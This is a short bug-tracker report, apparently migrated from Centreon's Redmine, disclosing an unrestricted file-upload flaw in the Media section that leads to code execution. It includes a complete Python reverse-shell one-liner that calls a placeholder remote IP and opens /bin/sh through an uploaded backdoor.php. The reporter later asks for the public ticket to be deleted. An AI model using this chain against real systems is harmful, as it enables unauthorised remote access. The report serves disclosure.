Unrestricted file upload leading to code execution

[centreon]

---

Author Name: Louis Ferret (Louis Ferret)
Original Redmine Issue: 6450, https://forge.centreon.com/issues/6450
Original Date: 2015-06-30

---

In the Media section, where you can upload a file image, upload a PHP file containing the following :

Then gain access to the shell by connecting to the website via https://website_url/centreon/img/media/test/backdoor.php?c=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("yyy.yyy.yyy.yyy",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

yyy.yyy.yyy.yyy being the ip address of a remote server.

[centreon]

---

Original Redmine Comment
Author Name: Louis Ferret (Louis Ferret)
Original Date: 2015-06-30T17:28:14Z

---

Didn't think it would be published without validation, you should delete this ticket and keep the description.